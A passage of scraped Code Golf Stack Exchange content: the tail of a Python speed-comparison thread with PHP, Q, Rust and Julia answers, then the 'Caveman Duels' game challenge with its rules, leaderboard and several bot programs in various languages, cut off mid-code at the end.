= call_user_func_array(__FUNCTION__, $_); $r = array(); foreach($a as $v) foreach($c as $p) $r[] = array_merge(array($v), $p); return $r; } function rand_array($a, $n) { $r = array(); for($i = 0; $i < $n; $i++) $r[] = $a[myRand()%count($a)]; return $r; } function convolve($a, $b) { // slows down /*if(count($a) < count($b)) return convolve($b,$a);*/ $result = array(); $w = count($a) - count($b) + 1; for($i = 0; $i < $w; $i++){ $r = 0; for($k = 0; $k < count($b); $k++) $r += $b[$k] * $a[$i + $k]; $result[] = $r; } return $result; } $cross = call_user_func_array('array_cartesian',array_fill(0,$n+1,array(-1,1))); foreach($cross as $S) for($i = 0; $i < $iters; $i++){ while(true) { $F = rand_array(array(-1,0,0,1), $n); if(in_array(-1, $F) || in_array(1, $F)) break; } $FS = convolve($S, $F); if(0==$FS[0]) $firstzero += 1; if(0==$FS[0] && 0==$FS[1]) $bothzero += 1; } echo "firstzero $firstzero\n"; echo "bothzero $bothzero\n"; ``` * Used a custom random generator (stolen from C answer), PHP one sucks and numbers dont match * `convolve` function simplified a bit to be more fast * Checking for array-with-zeros-only is very optimized too (see `$F` and `$FS` checkings). Outputs: ``` $ time python num.py firstzero 27050 bothzero 11990 real 0m8.072s user 0m8.037s sys 0m0.024s $ time php num.php firstzero 27407 bothzero 12216 real 0m1.223s user 0m1.210s sys 0m0.012s ``` Edit. Second version of script works for for just `0.646 sec`: ``` <?php $n = 6; $iters = 1000; $firstzero = 0; $bothzero = 0; $x=time(); $y=34353; $z=57768; $w=1564; //PRNG seeds function myRand() { global $x; global $y; global $z; global $w; $t = $x ^ ($x << 11); $x = $y; $y = $z; $z = $w; return $w = $w ^ ($w >> 19) ^ $t ^ ($t >> 8); } function array_cartesian() { $_ = func_get_args(); if (count($_) == 0) return array(); $a = array_shift($_); if (count($_) == 0) $c = array(array()); else $c = call_user_func_array(__FUNCTION__, $_); $r = array(); foreach($a as $v) foreach($c as $p) $r[] = array_merge(array($v), $p); return $r; } function convolve($a, $b) { // slows down /*if(count($a) < count($b)) return convolve($b,$a);*/ $result = array(); $w = count($a) - count($b) + 1; for($i = 0; $i < $w; $i++){ $r = 0; for($k = 0; $k < count($b); $k++) $r += $b[$k] * $a[$i + $k]; $result[] = $r; } return $result; } $cross = call_user_func_array('array_cartesian',array_fill(0,$n+1,array(-1,1))); $choices = call_user_func_array('array_cartesian',array_fill(0,$n,array(-1,0,0,1))); foreach($cross as $S) for($i = 0; $i < $iters; $i++){ while(true) { $F = $choices[myRand()%count($choices)]; if(in_array(-1, $F) || in_array(1, $F)) break; } $FS = convolve($S, $F); if(0==$FS[0]){ $firstzero += 1; if(0==$FS[1]) $bothzero += 1; } } echo "firstzero $firstzero\n"; echo "bothzero $bothzero\n"; ``` [Answer] # Q, 0.296 seg ``` n:6; iter:1000 /parametrization (constants) c:n#0 /auxiliar constant (sequence 0 0.. 0 (n)) A:B:(); /A and B accumulates results of inner product (firstresult, secondresult) /S=sequence with all arrays of length n+1 with values -1 and 1 S:+(2**m)#/:{,/x#/:-1 1}'m:|n(2*)\1 f:{do[iter; F:c; while[F~c; F:n?-1 0 0 1]; A,:+/F*-1_x; B,:+/F*1_x];} /hard work f'S /map(S,f) N:~A; +/'(N;N&~B) / ~A is not A (or A=0) ->bitmap. +/ is sum (population over a bitmap) / +/'(N;N&~B) = count firstResult=0, count firstResult=0 and secondResult=0 ``` Q is a collection oriented language (kx.com) Code rewrited to explote idiomatic Q, but no other clever optimizations Scripting languages optimize programmer time, not execution time * Q is not the best tool for this problem First coding attempt = not a winner, but reasonable time (approx. 30x speedup) * quite competitive among interpreters * stop and choose another problem NOTES.- * program uses default seed (repeteable execs) To choose another seed for random generator use `\S seed` * Result is given as a squence of two ints, so there is a final i-suffix at second value 27421 12133i -> read as (27241, 12133) * Time not counting interpreter startup. `\t sentence` mesures time consumed by that sentence [Answer] # Rust, 6.6 ms, 1950x speedup Pretty much a direct translation of [Alistair Buxton's code](https://codegolf.stackexchange.com/a/26337/3103) to Rust. I considered making use of [multiple cores with rayon](https://crates.io/crates/rayon) (fearless concurrency!), but this didn't improve the performance, probably because it's very fast already. ``` extern crate itertools; extern crate rand; extern crate time; use itertools::Itertools; use rand::{prelude::*, prng::XorShiftRng}; use std::iter; use time::precise_time_ns; fn main() { let start = precise_time_ns(); let n = 6; let iters = 1000; let mut first_zero = 0; let mut both_zero = 0; let choices_f: Vec<Vec<i8>> = iter::repeat([-1, 0, 0, 1].iter().cloned()) .take(n) .multi_cartesian_product() .filter(|i| i.iter().any(|&x| x != 0)) .collect(); // xorshift RNG is faster than default algorithm designed for security // rather than performance. let mut rng = XorShiftRng::from_entropy(); for s in iter::repeat(&[-1, 1]).take(n + 1).multi_cartesian_product() { for _ in 0..iters { let f = rng.choose(&choices_f).unwrap(); if f.iter() .zip(&s[..s.len() - 1]) .map(|(a, &b)| a * b) .sum::<i8>() == 0 { first_zero += 1; if f.iter().zip(&s[1..]).map(|(a, &b)| a * b).sum::<i8>() == 0 { both_zero += 1; } } } } println!("first_zero = {}\nboth_zero = {}", first_zero, both_zero); println!("runtime {} ns", precise_time_ns() - start); } ``` And Cargo.toml, as I use external dependencies: ``` [package] name = "how_slow_is_python" version = "0.1.0" [dependencies] itertools = "0.7.8" rand = "0.5.3" time = "0.1.40" ``` Speed comparison: ``` $ time python2 py.py firstzero: 27478 bothzero: 12246 12.80user 0.02system 0:12.90elapsed 99%CPU (0avgtext+0avgdata 23328maxresident)k 0inputs+0outputs (0major+3544minor)pagefaults 0swaps $ time target/release/how_slow_is_python first_zero = 27359 both_zero = 12162 runtime 6625608 ns 0.00user 0.00system 0:00.00elapsed 100%CPU (0avgtext+0avgdata 2784maxresident)k 0inputs+0outputs (0major+189minor)pagefaults 0swaps ``` 6625608 ns is about 6.6 ms. This means 1950 times speedup. There are many optimizations possible here, but I was going for readability rather than performance. One possible optimization would be use arrays instead of vectors for storing choices, as they will always have `n` elements. It's also possible to use RNG other than XorShift, as while Xorshift is faster than the default HC-128 CSPRNG, it's slowest than naivest of PRNG algorithms. [Answer] # Julia: ~~12.149~~ 6.929 s Despite their [claims to speed](http://julialang.org/benchmarks/), the [initial JIT compilation time](https://stackoverflow.com/a/10711762/1642693) holds us back! Note that the following Julia code is effectively a direct translation of the original Python code (no optimisations made) as a demonstration that you can easily transfer your programming experience to a faster language ;) ``` require("Iterators") n = 6 iters = 1000 firstzero = 0 bothzero = 0 for S in Iterators.product(fill([-1,1], n+1)...) for i = 1:iters F = [[-1 0 0 1][rand(1:4)] for _ = 1:n] while all((x) -> round(x,8) == 0, F) F = [[-1 0 0 1][rand(1:4)] for _ = 1:n] end FS = conv(F, [S...]) if round(FS[1],8) == 0 firstzero += 1 end if all((x) -> round(x,8) == 0, FS) bothzero += 1 end end end println("firstzero ", firstzero) println("bothzero ", bothzero) ``` # Edit Running with `n = 8` takes 32.935 s. Considering that the complexity of this algorithm is `O(2^n)`, then `4 * (12.149 - C) = (32.935 - C)`, where `C` is a constant representing the JIT compilation time. Solving for `C` we find that `C = 5.2203`, suggesting that actual execution time for `n = 6` is 6.929 s. ]
[Question] [ Caveman mad. Other caveman take stick but stick was for me. Caveman **fight**! --- ## Description Caveman need sharp stick to stab other caveman. Other caveman also try to stab with sharp stick. Caveman can sharpen stick, poke with stick, or block poky sticks. If caveman poke other caveman with sharp stick, other caveman run away and me victory. But if other caveman smartly blocking when me poking, nothing happen except my stick become blunt and me need to sharpen again. Caveman lazy. Also, caveman dumb. Caveman no know what to do, so caveman need fancy techno computer program to tell caveman what to do. ## Input Your program's input will be a history of the events that have happened, where `S` stands for sharpen (i.e. the caveman sharpened his stick), `P` stands for poke, and `B` stands for block. The input will be a history of both sides (you and the opponent), so your and the opponent's moves will be separated with a comma (`,`). Example input: ``` SPB,SBB ``` This means that the player sharpened his/her stick, then poked, then blocked, and the opponent sharpened, then blocked, then blocked again. You will receive no input on turn 1. ## Output The output is very similar to the input (because the caveman is not very smart). Your program should output `S` to sharpen, `P` for poke, and `B` for block. Only the first character of output will be taken into account, and any other input will be treated as a `B` (block) command. * **`S`: sharpen** When sharpening, the caveman's stick's sharpness goes up by 1 and the stick gets 1 extra poke. Each poke reduces the stick's sharpness by 1, and if the stick's sharpness is 0, it's too dull to poke with. Sharpness starts at 0. If sharpness gets to 5, the stick is a sword! (See below.) If the opponent pokes while you are sharpening (and they have a sharpness > 0), the opponent wins! * **`P`: poke** When poking, the caveman's stick's sharpness goes down by 1 and you poke your opponent! If your opponent is sharpening, you win! If the opponent is poking, your stick hits your opponent's stick and they both get duller (by 1 "sharpness unit"). If the opponent is blocking, nothing happens except that your stick becomes duller. If you poke when your stick's sharpness is 5 or greater, your stick becomes a sword and you *always* win! (Unless your opponent also has a sword and also chose `P`; in that case, they both become duller, and may revert to sticks if their sharpness falls below 5.) You cannot poke with a sharpness of 0. If you do, nothing will happen. * **`B`: block** When you block, nothing happens when your opponent pokes. If your opponent is not poking, block does nothing. Blocking does not protect against a sword, even if you also have one! ## Rules and constraints Additional rules are: * Your program can read and write files in its *own* folder (no stealing!) if you want to save data, but you can't access anything outside of it (and cavemen don't have internet connection out in the wilderness). + **Important note on files**: If you save files, remember to save them in the directory `players/YourBotsName/somefile.foo`! The current working directory for your program will not be your program's! * Cavemen are fair: One program can not have code specific for another program, and programs can not help each other. (You may have multiple programs, but they can't interact with each other in any way.) * The caveman judge is not patient. If the cavemen take more than 100 turns each to decide a winner, the judge gets bored and both cavemen lose. If your program breaks a rule or doesn't follow the specification, the program is disqualified, removed from `playerlist.txt`, and all duels restart from the beginning. If your program is disqualified, the caveman leader (me!) will comment on your program's post and explain why. If you aren't breaking any rules, your program will be added to the leaderboard. (If your program is not on the leaderboard, there is no explanatory comment on your post, and you posted your program before the "Last updated" time below, tell the caveman leader! Maybe he forgot it.) In your post, please include: * A name. * A shell command to run your program (ex. `java MyBot.java`, `ruby MyBot.rb`, `python3 MyBot.py`, etc.). + Note: input will be appended to this as a command line argument. + The cavemen use Ubuntu 14.04, so make sure your code works (freely) on it. * A version number, if your code works differently on different versions of your chosen language. * Your code (obviously). * How to compile the code, if necessary. ## Controller code / testing, example bot The caveman leader wrote the control code in C++, and [posted it on a Github repo](https://github.com/KeyboardFire/caveman-duels). You can run and test your program there. A very, *very* simple program (1 line!) is also [posted in the answers below](https://codegolf.stackexchange.com/a/34969/3808). ## Scoring and leaderboard Scoring is easy. Whichever caveman wins gets a point. The caveman with the most points after 3 duels against every other caveman becomes the new caveman leader! ``` 150 Watson 147 SpeculativeSylwester 146 Gruntt 141 BashMagnon 126 ChargerMan 125 PrisonRules 124 ViceLeader 122 MultiMarkov 122 CaveDoctor 120 RegExMan 120 Hodor 117 FancyTechnoAlgorithm 116 Semipatient 113 Watcher 108 BobCaves 105 MinimaxMan 104 Oracle 102 MaybeMarkov 97 Nash 95 Sicillian 95 Feint 95 Basilisk 94 SharpMan 93 Darwin 91 Nigel 91 JavaMan 88 Entertainer 88 CarefulBot 85 CaveMonkey 84 SSBBP 82 SirPokealot 79 MasterPoker 77 Unpredictable 76 IllogicalCaveman 75 SharpenBlockPoke 75 HuddleWolfWithStick 72 WoodenShield 68 PokeBackBot 68 PatientBlacksmith 66 PatientWolf 58 MonteCarloMan 58 BlindFury 56 BinaryCaveman 55 PokeBot 55 CavekidBlocks 53 Swordmaster 53 Blocker 52 NakedEarlyNerd 52 ModestCaveman 50 LatePokeBot 40 Trickster 39 SwordLover 38 ForeignCaveman 36 Swordsmith * 28 Touche 27 WantASword 27 FoolMeOnce 24 PeriodicalCavemanCicada 11 Aichmophobic ``` *(this leaderboard was auto-magically generated)* Players marked with a `*` threw some kind of error or exception at some point; these players also have a comment on their posts. Players who could not be included in the tests for any reason (these players will have a comment on their posts explaining the problem): `Monkey`, `Elephant`, `FacileFibonacci`, `StudiousSylwester`. Last updated: Aug 3 00:15 (UTC). [Answer] # Unpredictable Caveman ``` me, he = (ARGV[0] || ' , ').split(',') @possible_actions = %w[Sharpen Poke Block] class String def sharpness @sharpness ||= count('S') - count('P') end def has_pointy_stick (1..4).cover? sharpness end def has_sword sharpness >= 5 end def scary sharpness > 0 end end def no action @possible_actions.delete(action) end def do! puts @possible_actions.sample[0] end no 'Block' if not he.has_pointy_stick no 'Poke' if not me.scary no 'Sharpen' if me.has_sword no 'Block' if me.has_sword do! ``` This caveman chooses randomly each round, but I've explained to him very simply that certain actions just don't make sense sometimes. Feel free to copy this code if you want to express different logic. This is Ruby, save as 'unpredictable.rb' and run with `ruby unpredictable.rb` [Answer] # Darwin - C Who needs strategy, anyway? Have a group of cavemen go at each other and let natural selection do the rest! --- We use a very simple model for out caveman's primitive brain: it has no memory and only takes the sharpness of his and his opponent's stick into account. Those are used as the variables for a binary polynomial of some finite order. Each action (block, sharpen and poke) has an associated polynomial whose result determines the relative probability of choosing this action. That's pretty much all there is to it---start with some random coefficients and optimize iteratively. The bot: ``` #include <stddef.h> #include <stdlib.h> #include <stdio.h> #include <string.h> /* magic numbers */ #define SWORD_SHARPNESS 5 #define PROGRAM_DIM 4 /* polynomial order + 1 */ #define DEFAULT_FILENAME "players/Darwin/program" typedef double real; typedef real program[PROGRAM_DIM][PROGRAM_DIM]; typedef program caveman_brain[3]; typedef char action; /* S, B or P */ /* encodes a pair of actions */ #define ACTION_PAIR(a1, a2) (((int)(a1) << (sizeof(action) * 8)) | (a2)) real eval_program(const program p, double x, double y) { real v = 0; int i, j; for (i = 0; i < PROGRAM_DIM; ++i) { real w = 0; for (j = 0; j < PROGRAM_DIM; ++j) w = x * w + p[i][j]; v = y * v + w; } if (v < 0) v = 0; return v; } void read_program(FILE* f, program p) { int i, j; for (i = 0; i < PROGRAM_DIM; ++i) { for (j = 0; j < PROGRAM_DIM; ++j) { double v; fscanf(f, "%lg", &v); p[i][j] = v; } } } int blunt(int* s) { int temp = *s; if (temp) --*s; return temp; } void sharpen(int* s) { ++*s; } /* takes two sharpness/action pairs and updates the sharpness accordingly. * returns negative value if first caveman wins, positive value if second * caveman wins and 0 otherwise. */ int act(int* s1, action a1, int* s2, action a2) { switch (ACTION_PAIR(a1, a2)) { case ACTION_PAIR('B', 'B'): return 0; case ACTION_PAIR('B', 'S'): sharpen(s2); return 0; case ACTION_PAIR('B', 'P'): return blunt(s2) >= SWORD_SHARPNESS ? 1 : 0; case ACTION_PAIR('S', 'B'): sharpen(s1); return 0; case ACTION_PAIR('S', 'S'): sharpen(s1); sharpen(s2); return 0; case ACTION_PAIR('S', 'P'): sharpen(s1); return *s2 > 0 ? 1 : 0; case ACTION_PAIR('P', 'B'): return blunt(s1) >= SWORD_SHARPNESS ? -1 : 0; case ACTION_PAIR('P', 'S'): sharpen(s2); return *s1 > 0 ? -1 : 0; case ACTION_PAIR('P', 'P'): { int t1 = blunt(s1), t2 = blunt(s2); if (t1 >= SWORD_SHARPNESS && t2 < SWORD_SHARPNESS) return -1; else if (t2 >= SWORD_SHARPNESS && t1 < SWORD_SHARPNESS) return 1; else return 0; } } } /* processes a pair of strings of actions */ int str_act(int* s1, const char* a1, int* s2, const char* a2) { for (; *a1 && *a2; ++a1, ++a2) { int winner = act(s1, *a1, s2, *a2); if (winner) return winner; } return 0; } double frandom() { return (double)rand() / RAND_MAX; } /* chooses an action based on self and opponent's sharpness */ action choose_action(const caveman_brain b, int s1, int s2) { double v[3]; double sum = 0; double r; int i; for (i = 0; i < 3; ++i) { v[i] = eval_program(b[i], s1, s2); sum += v[i]; } r = frandom() * sum; if (r <= v[0]) return 'B'; else if (r <= v[0] + v[1]) return 'S'; else return 'P'; } /* portable tick-count for random seed */ #ifdef _WIN32 #include <Windows.h> unsigned int tick_count() { return GetTickCount(); } #else #include <sys/time.h> unsigned int tick_count() { struct timeval t; gettimeofday(&t, NULL); return 1000 * t.tv_sec + t.tv_usec / 1000; } #endif int main(int argc, const char* argv[]) { const char* filename = DEFAULT_FILENAME; const char *a1, *a2; FILE* f; caveman_brain b; int s1 = 0, s2 = 0; int i; srand(tick_count()); rand(); a1 = argc > 1 ? argv[1] : ""; if (*a1) { a2 = strchr(a1, ','); if (a2 == NULL) { printf("invalid input!\n"); return 1; } ++a2; } else a2 = a1; if (argc > 2) filename = argv[2]; f = fopen(filename, "r"); if (f == NULL) { printf("failed to open `%s'\n", filename); return 1; } for (i = 0; i < 3; ++i) read_program(f, b[i]); fclose(f); str_act(&s1, a1, &s2, a2); printf("%c\n", choose_action(b, s1, s2)); return 0; } ``` Compile with: `gcc darwin.c -odarwin -w -O3`. Run with: `./darwin <history>`. The bot reads the coefficients from a file named `program` in the `players/Darwin` directory (a different file can be specified as a second command-line argument). This program seems to do well: ``` 0.286736 0.381578 -0.128122 1.33933 0.723126 0.380574 1.21659 -0.9734 0.924371 0.998632 -0.0951554 0.744323 -0.113888 -0.321772 -0.260496 -0.136341 0.280292 -0.699782 -0.246245 1.27435 -1.24563 -0.959822 -0.745656 0.0347998 -0.917928 -0.384105 0.319008 -0.70434 0.484375 0.802138 0.0967234 0.638466 0.406679 0.597322 1.39409 0.902353 -0.735946 0.742589 0.955567 0.643268 -0.503946 0.446167 1.002 0.328205 0.26037 0.113346 0.0517265 -0.223298 ``` Save as `players/Darwin/program`. Following is a program that generates `program` files that can be used by the bot (doesn't have to be compiled if you use the `program` file above): ``` #include <stddef.h> #include <stdlib.h> #include <stdio.h> #include <string.h> /* magic numbers */ #define SWORD_SHARPNESS 5 #define MAX_TURN_COUNT 100 #define PROGRAM_DIM 4 /* polynomial order + 1 */ #define CAVEMAN_COUNT 500 #define GENERATION_COUNT 12 #define DUEL_COUNT 8 #define ERROR_BACKOFF 0.5 #define DEFAULT_FILENAME "players/Darwin/program" typedef double real; typedef real program[PROGRAM_DIM][PROGRAM_DIM]; typedef program caveman_brain[3]; typedef char action; /* S, B or P */ /* encodes a pair of actions */ #define ACTION_PAIR(a1, a2) (((int)(a1) << (sizeof(action) * 8)) | (a2)) real eval_program(const program p, double x, double y) { real v = 0; int i, j; for (i = 0; i < PROGRAM_DIM; ++i) { real w = 0; for (j = 0; j < PROGRAM_DIM; ++j) w = x * w + p[i][j]; v = y * v + w; } if (v < 0) v = 0; return v; } void write_program(FILE* f, const program p) { int i, j; for (i = 0; i < PROGRAM_DIM; ++i) { for (j = 0; j < PROGRAM_DIM; ++j) fprintf(f, "%g ", p[i][j]); fprintf(f, "\n"); } fprintf(f, "\n"); } int blunt(int* s) { int temp = *s; if (temp) --*s; return temp; } void sharpen(int* s) { ++*s; } /* takes two sharpness/action pairs and updates the sharpness accordingly. * returns negative value if first caveman wins, positive value if second * caveman wins and 0 otherwise. */ int act(int* s1, action a1, int* s2, action a2) { switch (ACTION_PAIR(a1, a2)) { case ACTION_PAIR('B', 'B'): return 0; case ACTION_PAIR('B', 'S'): sharpen(s2); return 0; case ACTION_PAIR('B', 'P'): return blunt(s2) >= SWORD_SHARPNESS ? 1 : 0; case ACTION_PAIR('S', 'B'): sharpen(s1); return 0; case ACTION_PAIR('S', 'S'): sharpen(s1); sharpen(s2); return 0; case ACTION_PAIR('S', 'P'): sharpen(s1); return *s2 > 0 ? 1 : 0; case ACTION_PAIR('P', 'B'): return blunt(s1) >= SWORD_SHARPNESS ? -1 : 0; case ACTION_PAIR('P', 'S'): sharpen(s2); return *s1 > 0 ? -1 : 0; case ACTION_PAIR('P', 'P'): { int t1 = blunt(s1), t2 = blunt(s2); if (t1 >= SWORD_SHARPNESS && t2 < SWORD_SHARPNESS) return -1; else if (t2 >= SWORD_SHARPNESS && t1 < SWORD_SHARPNESS) return 1; else return 0; } } } /* processes a pair of strings of actions */ int str_act(int* s1, const char* a1, int* s2, const char* a2) { for (; *a1 && *a2; ++a1, ++a2) { int winner = act(s1, *a1, s2, *a2); if (winner) return winner; } return 0; } double frandom() { return (double)rand() / RAND_MAX; } double firandom() { return 2.0 * rand() / RAND_MAX - 1.0; } /* chooses an action based on self and opponent's sharpness */ action choose_action(const caveman_brain b, int s1, int s2) { double v[3]; double sum = 0; double r; int i; for (i = 0; i < 3; ++i) { v[i] = eval_program(b[i], s1, s2); sum += v[i]; } r = frandom() * sum; if (r <= v[0]) return 'B'; else if (r <= v[0] + v[1]) return 'S'; else return 'P'; } typedef struct { caveman_brain brain; int sharpness; int score; } caveman; void init_caveman(caveman* c, const caveman* m, double e) { int p, i, j; c->score = 0; for (p = 0; p < 3; ++p) { for (i = 0; i < PROGRAM_DIM; ++i) { for (j = 0; j < PROGRAM_DIM; ++j) { c->brain[p][i][j] = m->brain[p][i][j] + firandom() * e; } } } } int duel(caveman* c1, caveman* c2) { int winner; int turn; c1->sharpness = c2->sharpness = 0; for (turn = 0; turn < MAX_TURN_COUNT; ++turn) { winner = act(&c1->sharpness, choose_action(c1->brain, c1->sharpness, c2->sharpness), &c2->sharpness, choose_action(c2->brain, c2->sharpness, c1->sharpness)); if (winner) break; } if (winner < 0) ++c1->score; else if (winner > 0) ++c2->score; return winner; } /* portable tick-count for random seed */ #ifdef _WIN32 #include <Windows.h> unsigned int tick_count() { return GetTickCount(); } #else #include <sys/time.h> unsigned int tick_count() { struct timeval t; gettimeofday(&t, NULL); return 1000 * t.tv_sec + t.tv_usec / 1000; } #endif int main(int argc, const char* argv[]) { const char* filename = DEFAULT_FILENAME; FILE* f; caveman* cavemen; caveman winner; int gen; double err = 1.0; int i; srand(tick_count()); rand(); memset(&winner, 0, sizeof(caveman)); if ((cavemen = (caveman*)malloc(sizeof(caveman) * CAVEMAN_COUNT)) == NULL) { printf("not enough memory!\n"); return 1; } for (gen = 0; gen < GENERATION_COUNT; ++gen) { int i, j, k; const caveman* leader; printf("[Gen. %d / %d] ", gen + 1, GENERATION_COUNT); fflush(stdout); for (i = 0; i < CAVEMAN_COUNT; ++i) init_caveman(&cavemen[i], &winner, err); for (i = 0; i < CAVEMAN_COUNT; ++i) { for (j = i + 1; j < CAVEMAN_COUNT; ++j) { for (k = 0; k < DUEL_COUNT; ++k) duel(&cavemen[i], &cavemen[j]); } } leader = cavemen; for (i = 1; i < CAVEMAN_COUNT; ++i) { if (cavemen[i].score > leader->score) leader = &cavemen[i]; } printf("Caveman #%d wins with %d victories in %d duels\n", leader - cavemen + 1, leader->score, (CAVEMAN_COUNT - 1) * DUEL_COUNT); memcpy(&winner, leader, sizeof(caveman)); err *= ERROR_BACKOFF; } free(cavemen); if (argc > 1) filename = argv[1]; printf("Dumping brain to `%s'\n", filename); f = fopen(filename, "w"); if (f == NULL) { printf("failed to open `%s'\n", filename); return 1; } for (i = 0; i < 3; ++i) write_program(f, winner.brain[i]); fclose(f); return 0; } ``` Compile with: `gcc genprog.c -ogenprog -w -O3`. Run with: `./genprog [output-filename]`. --- # Watson What's the DNA of a winning caveman? Perhaps this fella has the answer: ``` # That's the actual logic. Initialization goes below. def run(): if his_sharpness[-10] - turn / 15 + 1 + turn % 3 - his_sharpness[-6] < 0: act(B=0, S=0, P=100) # 7.21% chance elif his_sharpness[-6] + 1 - his_sharpness[-2] < 0: act(B=0, S=0, P=100) # 4.15% chance elif his_history[-3] - my_history[-1] <= 0 and my_sharpness[-1] - turn / 10 <= 0: act(B=0, S=100, P=0) # 11.34% chance elif his_sharpness[-1] == 0: act(B=0, S=100, P=0) # 27.84% chance else: act(B=100, S=0, P=0) # 49.46% chance # Boring stuff go here... import sys, random # Actions block, sharpen, poke, idle = range(4) # Converts textual history to internal format def convert_history(textual_history): return ["BSP".index(action) for action in textual_history] # Calculates sharpness after performing an action sequence def calculate_sharpness(history): return history.count(sharpen) - history.count(poke) # Returns a list containing the sharpness at the end of each turn def sharpness_history(history): return [calculate_sharpness(history[:i + 1]) for i in range(len(history))] # Acts based on the probability distribution (B%, S%, P%) def act(B, S, P): r = random.random() * 100 print "BSP"[(r >= B) + (r >= B + S)] # Setup data textual_history = sys.argv[1] if len(sys.argv) > 1 else "," my_history, his_history = (convert_history(h) for h in textual_history.split(',')) my_sharpness, his_sharpness = (sharpness_history(h) for h in (my_history, his_history)) turn = len(my_history) my_history, his_history = ([idle] * 16 + h for h in (my_history, his_history)) my_sharpness, his_sharpness = ([0] * 16 + s for s in (my_sharpness, his_sharpness)) # Make a move run() ``` Run with: `python Watson.py` Watson is the product of a genetic algorithm. Unlike Darwin, the genetic datum this time is an actual program, written in a tiny domain-specific language (here translated to Python). --- # Simple Sequence Beats Big Players This little fella does surprisingly (or, maybe, not so surprisingly) well, especially against the leaders: ``` import sys print "Simple Sequence Beats Big Players".split(' ')[ len(sys.argv[1]) / 2 % 5 if len(sys.argv) > 1 else 0 ] ``` Run with: `python SSBBP.py` [Answer] # Cave Doctor - Lua "Me lose to new foreigners, knocked them out to study them" When you've seen as many patients as the cave doctor, you begin to truly understand the cave man psyche (or so I hope). Cave doctor's game is pure strategy, he waits for pokes which he blocks in an attempt to disarm his opponent, but he won't let that opponent get close to making a sword. He tries to predict when it's safe to sharpen so he doesn't loose the upper hand. ``` caveman={havePointyStick=function (t) local pointy=0 for i in t.stick:gmatch("[SP]") do if i=="S" then pointy=pointy+1 elseif pointy>0 then pointy=pointy-1 end end t.sharp=pointy>0 t.lastmove=t.stick:sub(t.stick:len()) return pointy end, Stupid=function (stick)--I put way to much effort in this... o = {} setmetatable(o, caveman) o.smartness=0 o.stick=stick caveman.__index = caveman return o end, Smart= function (stick) o ={} setmetatable(o, caveman) o.smartness=100 o.stick=stick caveman.__index = caveman return o end } if arg[1]==nil then print("S") else split=arg[1]:find(",") me=caveman.Smart(arg[1]:sub(0,split-1)) he=caveman.Stupid(arg[1]:sub(split+1)) mesharp=me:havePointyStick() hesharp=he:havePointyStick() if not he.sharp and mesharp<5 then print("S")--Go for the sword elseif mesharp>4 or me.stick:len()>93 then if (mesharp>0) then print("P")--We're losing/about to win or time's running out else print("S")--uh-oh end else u,g,h=he.stick:match("(B+)S+(B+)S+(B+)$") g,u,h=he.stick:match("(P+)S+(P+)S+(P+)$") if u~=nil and u==g and g==h then if not me.sharp then print("S") else print("P") end elseif me.stick:match("SBSB$")~=nil then print("B") elseif he.stick:len()>7 and he.stick:match("P")==nil and me.lastmove~="S" then print("S") else b,u,h=he.stick:match("(B*)(S+)(B*)$") if u~=nil then if (h:len()>3 and me.lastmove=="B") or (b:len()>h:len() and b:len()>0 and h:len()>0) then print("S") else print("B") end else print("B") end end end end ``` Run with: `lua CaveDoctor.lua` [Answer] # ForeignCaveman ForeignCaveman has no idea what you just said. He just... does stuff. `javac ForeignCaveman.java` then `java ForeignCaveman` ``` public class ForeignCaveman { public static void main(String[] args) { int m = (int) (Math.random()*3); switch(m) { case 0: System.out.println('B'); break; case 1: System.out.println('P'); break; case 2: System.out.println('S'); break; } } } ``` [Answer] # Vice-Leader [Doorknob♦](https://codegolf.stackexchange.com/users/3808/doorknob) is leader. Me want be leader! Follow super intelligent program to become leader! Compile: `javac ViceLeader.java` Run: `java ViceLeader`. ``` public class ViceLeader { public static void main(String[] args) { if (args.length == 0 || !args[0].contains(",")) { System.out.print("S"); return; } String[] history = args[0].split(","); int mySharpness = getSharpness(history[0]); int enemySharpness = getSharpness(history[1]); // enough sharpness to strike until end of game if (100 - history[0].length() <= mySharpness) { System.out.print("P"); return; } // sharpen while secure if (enemySharpness == 0) { System.out.print("S"); return; } // enemy blocks the whole time and I didn't use this tactic on last turn if (isBlocker(history[1]) && history[0].charAt(history[0].length() - 1) != 'S') { System.out.print("S"); return; } // TAKE HIM OUT! if (enemySharpness == 4 || mySharpness >= 5) { System.out.print("P"); return; } // enemy sharpens the whole time => sharpen to strike on next turn if (isSharpener(history[1])) { System.out.print("S"); return; } System.out.print("B"); } private static int getSharpness(String history) { int sharpness = 0; for (char move : history.toCharArray()) { if (move == 'S') { sharpness++; } else if ((move == 'P' && sharpness > 0) || move == '^') { sharpness--; } } return sharpness; } private static boolean isBlocker(String history) { if (history.length() < 3) { return false; } for (int i = history.length() - 1; i > history.length() - 3; i--) { if (history.charAt(i) != 'B') { return false; } } return true; } private static boolean isSharpener(String history) { if (history.length() < 3) { return false; } for (int i = history.length() - 1; i > history.length() - 3; i--) { if (history.charAt(i) != 'S') { return false; } } return true; } } ``` [Answer] # Maybe Markov 2.1 I think it uses Markov Chains to predict what the other caveman will do, but I only looked briefly at the wikipedia page about Markov Chains and decided it had too much text. It tries to stay alive for 30 rounds and then builds up a table with current-next state changes, and reacts to what is thinks the other caveman will do. The code contains a lot of unnecessary statements, but it performs pretty well. ## EDIT Detected a flaw in logic. Now it actually does something when it has a sword. `$ python3 players/MaybeMarkov/MaybeMarkov.py` ``` import sys, itertools from operator import itemgetter from collections import defaultdict SHARPEN, POKE, BLOCK, HALP = 'SPB?' all_actions = SHARPEN, POKE, BLOCK always = 1 def do(action): print(action) exit(0) if len(sys.argv) < 2: do(SHARPEN) class status: def __init__(self, actions): self.step = len(actions) self.last = actions[-1] self.sh = self.sharpness = actions.count(SHARPEN) - actions.count(POKE) self.dull = self.sharpness <= 0 self.has_sword = self.sharpness >= 5 self.actions = actions self.ratio = {act:actions.count(act)/self.step for act in all_actions} self.can_do = set(all_actions) if self.dull: self.can_do.remove(POKE) def can(self, action): return action in self.can_do me, he = map(status, sys.argv[-1].split(',')) turns = me.step if he.has_sword: if me.can(POKE) :do(POKE) if always :do(SHARPEN) if me.has_sword: if he.last != POKE and me.last == BLOCK :do(POKE) if he.can(POKE) :do(BLOCK) if always :do(POKE) if not he.can(POKE) :do(SHARPEN) if turns <= 4 :do(BLOCK) if turns < 30: if he.ratio[SHARPEN] == 1: if me.can(POKE) :do(POKE) if always :do(SHARPEN) if always :do(BLOCK) if turns > 97: do(POKE) def react_on(action): do({ HALP : BLOCK, SHARPEN : POKE, POKE : BLOCK, BLOCK : SHARPEN }[action]) states = tuple(itertools.product(all_actions, all_actions)) change = 